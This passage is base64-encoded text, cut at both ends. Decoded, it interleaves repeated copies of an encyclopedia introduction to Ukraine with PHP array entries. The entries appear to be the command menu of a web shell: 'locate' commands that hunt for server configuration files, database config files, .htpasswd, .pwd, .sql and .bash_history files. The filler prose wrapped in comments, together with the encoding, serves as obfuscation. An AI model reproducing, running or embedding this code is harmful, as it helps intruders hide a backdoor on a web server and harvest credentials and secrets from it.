cnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHJvZnRwZC5jb25mIiwKCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwKCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsCgkJImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLAoJCSJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsCgkJImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLAovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsCgkJImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsCgkJImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIiwKCQkibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsCgkJImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCSJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLAoJCSJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLAoJCSJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwKCQkibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0a